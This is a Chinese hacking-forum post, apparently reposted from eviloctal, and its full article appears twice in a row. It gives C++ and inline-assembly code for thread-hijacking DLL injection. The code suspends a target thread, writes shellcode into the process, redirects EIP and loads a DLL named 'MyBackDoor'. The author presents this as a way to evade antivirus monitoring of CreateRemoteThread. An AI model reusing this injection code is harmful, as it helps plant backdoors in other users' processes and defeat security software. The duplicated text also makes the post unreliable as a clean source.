转自[https://forum.eviloctal.com/thread-40993-1-1.html]
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com)
文章作者:gudujianjsk
高手飘过
CreateRemoteThread很久以前就被杀软盯上列在恶意软件之列。这里写出一种不用调用此函数而让目标线程执行指定的代码的方法:
思路
找到目标进程
冻结主线程
准备一段Code并将其最后的一条指令改为跳转指令,跳转目标为主线程的EIP
向目标进程地址空间内写入一段Code
将线程的EIP改为Code 的首地址
回复线程的运行
本人表达能力不强还是看代码吧:
///得到目标进程信息进程句柄通过ProcHandle传出
bool FindTargetProc ( PROCESSENTRY32 *pe32 ,HANDLE *ProcHandle)
{
///这里稀里哗啦的都是一些api调用,一些又臭又长的代码懒得黏贴占用地方。。。。
return false;
}
///后面得到Code中的地址时用到的函数
void GetData (LPBYTE des ,LPBYTE src )
{
for (BYTE i = 0;i < 4;i ++ )
*des ++ = *src ++;
}
///得到目标线程
bool GetTargetThread (PROCESSENTRY32 *pe32,DWORD *pThreadID,HANDLE *pThreadHandle )
{
///根据进程ID得到主线程句柄通过pThreadHandle返回,同样这里不黏贴了。。。。
return true;
}
处理错误信息
int ErrInfo ()
{
LPVOID lpMsgBuf;
FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS ,NULL,
GetLastError(),MAKELANGID (LANG_NEUTRAL,SUBLANG_DEFAULT ),(LPTSTR )&lpMsgBuf,0,NULL );
MessageBox (NULL,LPCTSTR (lpMsgBuf) ,_T("error!"),MB_OK ) ;
return 0;
}
//这里是主要。。。
int _tmain(int argc, _TCHAR* argv[])
{
CONTEXT cntxt = {0};
DWORD dummy;
PROCESSENTRY32 pe32;
HANDLE ProcHandle;
HMODULE hInst = LoadLibraryA ("kernel32.dll");
if (!FindTargetProc ( &pe32 ,&ProcHandle ) )
{
printf("find proc err!\n");
return 0;
}
DWORD ThreadID;
HANDLE ThreadHandle;
if ( ! GetTargetThread ( &pe32, &ThreadID,&ThreadHandle ))
{
printf("Get Thread error!\n");
return 0;
}
///冻结线程准备手术!
if (!LockThread ( ThreadHandle ) )
{
printf("lock thread err!\n");
return ErrInfo ();
}
DWORD Inject_data_length ;
LPBYTE pInject_data;
/*以下的压栈顺序是:
push BackAddr 返回地址
push ad
push AddrOfGetProc GetProcAddress的地址
push AddrOfLoad LoadLibraryA的地址
*/
BYTE EntryCode[17] = "\x68\x00\x00\x00\x00\x60\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00";
goto GetInjectData;
/*-----------------------------------------------------插入 汇编代码----------------------------------------------------*/
读者可以用堆栈中保存的GetProcAddress函数地址来得到Dll中导出的函数的地址,并调用之
///也许有人会问下面的call [ebp + 4]时[ebp + 4]所指向的地址还是0 啊,但实际上这段代码在 感染时并不运行,而是被注入目标进程地址空间内
///在目标地址空间运行的时候[ebp + 4]已经是LoadLibraryA的地址了
Inject_data_start:
_asm {
push ebp
mov ebp, esp
///将DllNames放在堆栈中
push DWORD PTR 0x0000726f //ro 实际上ASCII码是 逆向放着 下同
push DWORD PTR 0x6f446b63 //oDkc
push DWORD PTR 0x6142794d //aByM
注意这里的三个压栈指令,将“MyBackDoor”(目标dll名字)压入堆栈
push esp
call [ebp +4] //调用LoadLibraryA
mov esp, ebp //做相应的清理堆栈工作,注意保持堆栈平衡!!
pop ebp
add esp, 8
popad
ret
}
Inject_data_end:
/*-----------------------------------------------------插入汇编代码----------------------------------------------------*/
GetInjectData:
_asm pushad;
_asm lea eax, Inject_data_start;
_asm mov pInject_data , eax;
_asm lea edx, Inject_data_end;
_asm sub edx, eax;
_asm mov Inject_data_length , edx;
_asm popad;
cntxt.ContextFlags = CONTEXT_FULL;
///取出线程上下文
if (!GetThreadContext( ThreadHandle , &cntxt))
{
printf("Get Thread Context Error");
return ErrInfo ();
}
HMODULE hDll = LoadLibraryA ("kernel32.dll");
DWORD BackAddr = cntxt.Eip ;
DWORD AddrOfGetProc = (DWORD)GetProcAddress (hDll ,"GetProcAddress");
DWORD AddrOfLoad = (DWORD)GetProcAddress (hDll ,"LoadLibraryA");
///压栈GetProcAddress 和LoadLibraryA地址所用到的数据
GetData (EntryCode + 1, (LPBYTE )&BackAddr );
GetData (EntryCode + 7, (LPBYTE )&AddrOfGetProc );
GetData (EntryCode + 12, (LPBYTE )&AddrOfLoad );
///向目标进程申请内存
LPBYTE pShellCode = (LPBYTE)VirtualAllocEx( ProcHandle , NULL ,Inject_data_length + 16 , MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pShellCode )
{
printf("Alloc Men err!\n");
return ErrInfo();
}
///向目标进程中写入数据
if (!WriteProcessMemory( ProcHandle , pShellCode ,EntryCode , 16 ,&dummy ) )
{
printf("write data err!\n");
return ErrInfo ();
}
if (!WriteProcessMemory( ProcHandle, pShellCode + 16 ,pInject_data , Inject_data_length ,&dummy ) )
{
printf("write data err!\n");
return ErrInfo ();
}
///修改EIP,改变执行流程
cntxt.Eip = (DWORD) pShellCode ;
if (!SetThreadContext( ThreadHandle , &cntxt))
{
printf("Set Thread Context Error");
return ErrInfo ();
}
/为线程解冻,做完这里后线程就按我们的要求运行了执行完Code后会回到原来的指令结着执行///好像什么都没发生
ResumeThread ( ThreadHandle ) ;
system ("pause");
return 0;
}
文章作者:gudujianjsk
高手飘过
CreateRemoteThread很久以前就被杀软盯上列在恶意软件之列。这里写出一种不用调用此函数而让目标线程执行指定的代码的方法:
思路
找到目标进程
冻结主线程
准备一段Code并将其最后的一条指令改为跳转指令,跳转目标为主线程的EIP
向目标进程地址空间内写入一段Code
将线程的EIP改为Code 的首地址
回复线程的运行
本人表达能力不强还是看代码吧:
///得到目标进程信息进程句柄通过ProcHandle传出
bool FindTargetProc ( PROCESSENTRY32 *pe32 ,HANDLE *ProcHandle)
{
///这里稀里哗啦的都是一些api调用,一些又臭又长的代码懒得黏贴占用地方。。。。
return false;
}
///后面得到Code中的地址时用到的函数
void GetData (LPBYTE des ,LPBYTE src )
{
for (BYTE i = 0;i < 4;i ++ )
*des ++ = *src ++;
}
///得到目标线程
bool GetTargetThread (PROCESSENTRY32 *pe32,DWORD *pThreadID,HANDLE *pThreadHandle )
{
///根据进程ID得到主线程句柄通过pThreadHandle返回,同样这里不黏贴了。。。。
return true;
}
处理错误信息
int ErrInfo ()
{
LPVOID lpMsgBuf;
FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS ,NULL,
GetLastError(),MAKELANGID (LANG_NEUTRAL,SUBLANG_DEFAULT ),(LPTSTR )&lpMsgBuf,0,NULL );
MessageBox (NULL,LPCTSTR (lpMsgBuf) ,_T("error!"),MB_OK ) ;
return 0;
}
//这里是主要。。。
int _tmain(int argc, _TCHAR* argv[])
{
CONTEXT cntxt = {0};
DWORD dummy;
PROCESSENTRY32 pe32;
HANDLE ProcHandle;
HMODULE hInst = LoadLibraryA ("kernel32.dll");
if (!FindTargetProc ( &pe32 ,&ProcHandle ) )
{
printf("find proc err!\n");
return 0;
}
DWORD ThreadID;
HANDLE ThreadHandle;
if ( ! GetTargetThread ( &pe32, &ThreadID,&ThreadHandle ))
{
printf("Get Thread error!\n");
return 0;
}
///冻结线程准备手术!
if (!LockThread ( ThreadHandle ) )
{
printf("lock thread err!\n");
return ErrInfo ();
}
DWORD Inject_data_length ;
LPBYTE pInject_data;
/*以下的压栈顺序是:
push BackAddr 返回地址
push ad
push AddrOfGetProc GetProcAddress的地址
push AddrOfLoad LoadLibraryA的地址
*/
BYTE EntryCode[17] = "\x68\x00\x00\x00\x00\x60\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00";
goto GetInjectData;
/*-----------------------------------------------------插入 汇编代码----------------------------------------------------*/
读者可以用堆栈中保存的GetProcAddress函数地址来得到Dll中导出的函数的地址,并调用之
///也许有人会问下面的call [ebp + 4]时[ebp + 4]所指向的地址还是0 啊,但实际上这段代码在 感染时并不运行,而是被注入目标进程地址空间内
///在目标地址空间运行的时候[ebp + 4]已经是LoadLibraryA的地址了
Inject_data_start:
_asm {
push ebp
mov ebp, esp
///将DllNames放在堆栈中
push DWORD PTR 0x0000726f //ro 实际上ASCII码是 逆向放着 下同
push DWORD PTR 0x6f446b63 //oDkc
push DWORD PTR 0x6142794d //aByM
注意这里的三个压栈指令,将“MyBackDoor”(目标dll名字)压入堆栈
push esp
call [ebp +4] //调用LoadLibraryA
mov esp, ebp //做相应的清理堆栈工作,注意保持堆栈平衡!!
pop ebp
add esp, 8
popad
ret
}
Inject_data_end:
/*-----------------------------------------------------插入汇编代码----------------------------------------------------*/
GetInjectData:
_asm pushad;
_asm lea eax, Inject_data_start;
_asm mov pInject_data , eax;
_asm lea edx, Inject_data_end;
_asm sub edx, eax;
_asm mov Inject_data_length , edx;
_asm popad;
cntxt.ContextFlags = CONTEXT_FULL;
///取出线程上下文
if (!GetThreadContext( ThreadHandle , &cntxt))
{
printf("Get Thread Context Error");
return ErrInfo ();
}
HMODULE hDll = LoadLibraryA ("kernel32.dll");
DWORD BackAddr = cntxt.Eip ;
DWORD AddrOfGetProc = (DWORD)GetProcAddress (hDll ,"GetProcAddress");
DWORD AddrOfLoad = (DWORD)GetProcAddress (hDll ,"LoadLibraryA");
///压栈GetProcAddress 和LoadLibraryA地址所用到的数据
GetData (EntryCode + 1, (LPBYTE )&BackAddr );
GetData (EntryCode + 7, (LPBYTE )&AddrOfGetProc );
GetData (EntryCode + 12, (LPBYTE )&AddrOfLoad );
///向目标进程申请内存
LPBYTE pShellCode = (LPBYTE)VirtualAllocEx( ProcHandle , NULL ,Inject_data_length + 16 , MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pShellCode )
{
printf("Alloc Men err!\n");
return ErrInfo();
}
///向目标进程中写入数据
if (!WriteProcessMemory( ProcHandle , pShellCode ,EntryCode , 16 ,&dummy ) )
{
printf("write data err!\n");
return ErrInfo ();
}
if (!WriteProcessMemory( ProcHandle, pShellCode + 16 ,pInject_data , Inject_data_length ,&dummy ) )
{
printf("write data err!\n");
return ErrInfo ();
}
///修改EIP,改变执行流程
cntxt.Eip = (DWORD) pShellCode ;
if (!SetThreadContext( ThreadHandle , &cntxt))
{
printf("Set Thread Context Error");
return ErrInfo ();
}
/为线程解冻,做完这里后线程就按我们的要求运行了执行完Code后会回到原来的指令结着执行///好像什么都没发生
ResumeThread ( ThreadHandle ) ;
system ("pause");
return 0;
}